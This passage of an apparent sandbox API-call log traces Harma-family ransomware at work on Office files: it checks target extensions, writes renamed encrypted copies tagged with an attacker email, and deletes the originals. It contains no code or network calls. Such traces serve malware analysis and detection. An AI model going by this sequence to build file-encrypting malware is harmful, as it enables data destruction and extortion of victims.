returned 5 [0150.897] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0150.897] lstrlenW (lpString=".ppt") returned 4 [0150.897] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0150.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0150.897] lstrlenW (lpString=".zip") returned 4 [0150.897] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0150.897] lstrlenW (lpString=".rar") returned 4 [0150.897] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0150.897] lstrlenW (lpString=".bz2") returned 4 [0150.897] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0150.897] lstrlenW (lpString=".7z") returned 3 [0150.898] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0150.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0150.898] lstrlenW (lpString=".dbf") returned 4 [0150.898] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0150.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0150.898] lstrlenW (lpString=".1cd") returned 4 [0150.898] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0150.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0150.898] lstrlenW (lpString=".jpg") returned 4 [0150.898] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0150.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0150.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0150.898] lstrlenW (lpString=".doc") returned 4 [0150.898] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0150.898] lstrlenW (lpString=".docx") returned 5 [0150.898] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0150.898] lstrlenW (lpString=".pdf") returned 4 [0150.898] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0150.898] lstrlenW (lpString=".xls") returned 4 [0150.898] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0150.898] lstrlenW (lpString=".xlsx") returned 5 [0150.899] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0150.899] lstrlenW (lpString=".ppt") returned 4 [0150.899] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0150.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0150.899] lstrlenW (lpString=".zip") returned 4 [0150.899] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0150.899] lstrlenW (lpString=".rar") returned 4 [0150.899] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0150.899] lstrlenW (lpString=".bz2") returned 4 [0150.899] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0150.899] lstrlenW (lpString=".7z") returned 3 [0150.899] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0150.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0150.899] lstrlenW (lpString=".dbf") returned 4 [0150.899] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0150.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0150.899] lstrlenW (lpString=".1cd") returned 4 [0150.899] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0150.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0150.899] lstrlenW (lpString=".jpg") returned 4 [0150.899] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0150.899] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0150.899] lstrlenW (lpString="DOORSCHD.VRD") returned 12 [0150.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.900] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=1723) returned 1 [0150.900] CloseHandle (hObject=0x378) returned 1 [0150.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd")) returned 0x20 [0150.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.901] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.901] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0150.901] GetLastError () returned 0x0 [0150.902] ReadFile (in: hFile=0x378, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x6bb, lpOverlapped=0x0) returned 1 [0150.903] WriteFile (in: hFile=0x344, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x6c0, lpOverlapped=0x0) returned 1 [0150.904] ReadFile (in: hFile=0x378, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.904] WriteFile (in: hFile=0x344, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.904] SetEndOfFile (hFile=0x344) returned 1 [0150.905] CloseHandle (hObject=0x344) returned 1 [0150.905] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.905] SetEndOfFile (hFile=0x378) returned 1 [0150.907] CloseHandle (hObject=0x378) returned 1 [0150.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd")) returned 1 [0150.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0150.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0150.908] lstrlenW (lpString=".doc") returned 4 [0150.908] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0150.908] lstrlenW (lpString=".docx") returned 5 [0150.908] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1 [0150.908] lstrlenW (lpString=".pdf") returned 4 [0150.908] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0150.908] lstrlenW (lpString=".xls") returned 4 [0150.908] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0150.908] lstrlenW (lpString=".xlsx") returned 5 [0150.908] lstrcmpiW (lpString1=".xlsx", lpString2="D.VRD") returned -1 [0150.908] lstrlenW (lpString=".ppt") returned 4 [0150.908] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0150.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0150.908] lstrlenW (lpString=".zip") returned 4 [0150.908] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0150.908] lstrlenW (lpString=".rar") returned 4 [0150.908] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0150.908] lstrlenW (lpString=".bz2") returned 4 [0150.909] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0150.909] lstrlenW (lpString=".7z") returned 3 [0150.909] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0150.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0150.909] lstrlenW (lpString=".dbf") returned 4 [0150.909] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0150.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0150.909] lstrlenW (lpString=".1cd") returned 4 [0150.909] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0150.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0150.909] lstrlenW (lpString=".jpg") returned 4 [0150.909] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0150.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0150.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0150.909] lstrlenW (lpString=".doc") returned 4 [0150.909] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0150.909] lstrlenW (lpString=".docx") returned 5 [0150.909] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1 [0150.909] lstrlenW (lpString=".pdf") returned 4 [0150.909] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0150.909] lstrlenW (lpString=".xls") returned 4 [0150.909] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0150.909] lstrlenW (lpString=".xlsx") returned 5 [0150.909] lstrcmpiW (lpString1=".xlsx", lpString2="D.VRD") returned -1 [0150.909] lstrlenW (lpString=".ppt") returned 4 [0150.909] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0150.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0150.909] lstrlenW (lpString=".zip") returned 4 [0150.909] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0150.910] lstrlenW (lpString=".rar") returned 4 [0150.910] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0150.910] lstrlenW (lpString=".bz2") returned 4 [0150.910] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0150.910] lstrlenW (lpString=".7z") returned 3 [0150.910] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0150.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0150.910] lstrlenW (lpString=".dbf") returned 4 [0150.910] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0150.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0150.910] lstrlenW (lpString=".1cd") returned 4 [0150.910] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0150.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0150.910] lstrlenW (lpString=".jpg") returned 4 [0150.910] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0150.910] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0150.910] lstrlenW (lpString="DRILLDWN.VSL") returned 12 [0150.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0151.926] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=64872) returned 1 [0151.926] CloseHandle (hObject=0x20c) returned 1 [0151.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl")) returned 0x20 [0151.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0151.927] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.927] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.929] GetLastError () returned 0x0 [0151.929] ReadFile (in: hFile=0x20c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0xfd68, lpOverlapped=0x0) returned 1 [0151.933] WriteFile (in: hFile=0x370, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xfd70, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xfd70, lpOverlapped=0x0) returned 1 [0151.935] ReadFile (in: hFile=0x20c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.935] WriteFile (in: hFile=0x370, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.935] SetEndOfFile (hFile=0x370) returned 1 [0151.935] CloseHandle (hObject=0x370) returned 1 [0151.935] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.935] SetEndOfFile (hFile=0x20c) returned 1 [0151.939] CloseHandle (hObject=0x20c) returned 1 [0151.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl")) returned 1 [0151.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0151.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0151.940] lstrlenW (lpString=".doc") returned 4 [0151.940] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0151.940] lstrlenW (lpString=".docx") returned 5 [0151.940] lstrcmpiW (lpString1=".docx", lpString2="N.VSL") returned -1 [0151.940] lstrlenW (lpString=".pdf") returned 4 [0151.940] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0151.940] lstrlenW (lpString=".xls") returned 4 [0151.940] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0151.940] lstrlenW (lpString=".xlsx") returned 5 [0151.940] lstrcmpiW (lpString1=".xlsx", lpString2="N.VSL") returned -1 [0151.940] lstrlenW (lpString=".ppt") returned 4 [0151.940] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0151.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0151.941] lstrlenW (lpString=".zip") returned 4 [0151.941] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0151.941] lstrlenW (lpString=".rar") returned 4 [0151.941] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0151.941] lstrlenW (lpString=".bz2") returned 4 [0151.941] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0151.941] lstrlenW (lpString=".7z") returned 3 [0151.941] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0151.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0151.941] lstrlenW (lpString=".dbf") returned 4 [0151.941] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0151.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0151.941] lstrlenW (lpString=".1cd") returned 4 [0151.941] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0151.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0151.941] lstrlenW (lpString=".jpg") returned 4 [0151.941] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0151.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0151.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0151.941] lstrlenW (lpString=".doc") returned 4 [0151.941] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0151.941] lstrlenW (lpString=".docx") returned 5 [0151.941] lstrcmpiW (lpString1=".docx", lpString2="N.VSL") returned -1 [0151.941] lstrlenW (lpString=".pdf") returned 4 [0151.941] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0151.941] lstrlenW (lpString=".xls") returned 4 [0151.941] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0151.942] lstrlenW (lpString=".xlsx") returned 5 [0151.942] lstrcmpiW (lpString1=".xlsx", lpString2="N.VSL") returned -1 [0151.942] lstrlenW (lpString=".ppt") returned 4 [0151.942] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0151.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0151.942] lstrlenW (lpString=".zip") returned 4 [0151.942] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0151.942] lstrlenW (lpString=".rar") returned 4 [0151.942] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0151.942] lstrlenW (lpString=".bz2") returned 4 [0151.942] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0151.942] lstrlenW (lpString=".7z") returned 3 [0151.942] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0151.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0151.942] lstrlenW (lpString=".dbf") returned 4 [0151.942] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0151.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0151.942] lstrlenW (lpString=".1cd") returned 4 [0151.942] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0151.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0151.942] lstrlenW (lpString=".jpg") returned 4 [0151.942] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0151.942] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0151.942] lstrlenW (lpString="GANTT.VRD") returned 9 [0151.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0151.946] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=2043) returned 1 [0151.946] CloseHandle (hObject=0x20c) returned 1 [0151.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd")) returned 0x20 [0151.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0151.946] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.946] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.947] GetLastError () returned 0x0 [0151.947] ReadFile (in: hFile=0x20c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x7fb, lpOverlapped=0x0) returned 1 [0151.956] WriteFile (in: hFile=0x370, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x800, lpOverlapped=0x0) returned 1 [0151.957] ReadFile (in: hFile=0x20c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.957] WriteFile (in: hFile=0x370, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0151.957] SetEndOfFile (hFile=0x370) returned 1 [0151.957] CloseHandle (hObject=0x370) returned 1 [0151.957] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.957] SetEndOfFile (hFile=0x20c) returned 1 [0151.964] CloseHandle (hObject=0x20c) returned 1 [0151.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd")) returned 1 [0151.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0151.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0151.965] lstrlenW (lpString=".doc") returned 4 [0151.965] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0151.965] lstrlenW (lpString=".docx") returned 5 [0151.965] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0151.966] lstrlenW (lpString=".pdf") returned 4 [0151.966] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0151.966] lstrlenW (lpString=".xls") returned 4 [0151.966] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0151.966] lstrlenW (lpString=".xlsx") returned 5 [0151.966] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0151.966] lstrlenW (lpString=".ppt") returned 4 [0151.966] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0151.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0151.966] lstrlenW (lpString=".zip") returned 4 [0151.966] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0151.966] lstrlenW (lpString=".rar") returned 4 [0151.966] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0151.966] lstrlenW (lpString=".bz2") returned 4 [0151.966] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0151.966] lstrlenW (lpString=".7z") returned 3 [0151.966] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0151.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0151.966] lstrlenW (lpString=".dbf") returned 4 [0151.966] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0151.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0151.966] lstrlenW (lpString=".1cd") returned 4 [0151.966] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0151.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0151.966] lstrlenW (lpString=".jpg") returned 4 [0151.966] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0151.966] lstrlenW (lpString="C:\\Program Files\\Microsoft 